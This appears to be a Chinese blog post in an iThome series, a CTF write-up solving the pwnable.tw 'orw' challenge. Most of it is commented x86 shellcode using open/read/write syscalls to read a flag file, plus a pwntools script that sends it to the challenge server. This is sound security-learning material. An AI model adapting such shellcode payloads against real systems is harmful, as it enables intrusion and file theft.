iT邦幫忙

2023 iThome 鐵人賽

DAY 29
0
自我挑戰組

雜七雜八大雜燴,資安技術大亂鬥系列 第 29

Day29 大雜燴之風神雜燴菜 - Pwn:CTF(4)

  • 分享至 

  • xImage
  •  

題目pwnable.tw 的題目,第二題 orw

昨天寫到他就是一個可以輸入 shellcode 但是只能使用 open、read、write。
我們要想辦法讀到 flag,所以我們可以:

;設定 eax 寄存器為 5,是 sys_open 的編號
mov eax,5

;將要打開的文件路徑 /home/orw/flag push 進去
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f

; esp 寄存器的值(包含文件路徑)放入 ebx 寄存器
mov ebx,esp

;將 ecx 和 edx 寄存器設置為零
xor ecx,ecx
xor edx,edx

;觸發系統調用,執行打開指定的文件
int 0x80

;設定 eax 寄存器為 3,是 sys_read 的編號。
mov eax,3
mov ecx,ebx
mov ebx,3
mov edx,0x40
int 0x80

;;設定 eax 寄存器為 4,是 sys_write 的編號
mov eax,4
mov ebx,1
mov edx,0x40
int 0x80

透過 asm 轉換,整個 payload 如下

from pwn import *

p=remote('chall.pwnable.tw',10001)

p.recvuntil(':')

shellcode="""
mov eax,5;
push 0x00006761;
push 0x6c662f77;
push 0x726f2f65;
push 0x6d6f682f;
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
int 0x80;

mov eax,3;
mov ecx,ebx;
mov ebx,eax;
mov edx,0x40;
int 0x80;

mov eax,4;
mov ebx,1;
mov edx,0x40;
int 0x80;
"""

p.sendline(asm(shellcode))
p.interactive()

風神雜燴菜

https://ithelp.ithome.com.tw/upload/images/20231014/20163074GEKvLpG1sW.png
我已經想不到雜燴了,遊戲裡面的雜燴也可以吧~


上一篇
Day28 大雜燴之雜燴兔雜燴 - Pwn:CTF(3)
下一篇
Day30 大雜燴之大雜燴 - 總結
系列文
雜七雜八大雜燴,資安技術大亂鬥30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言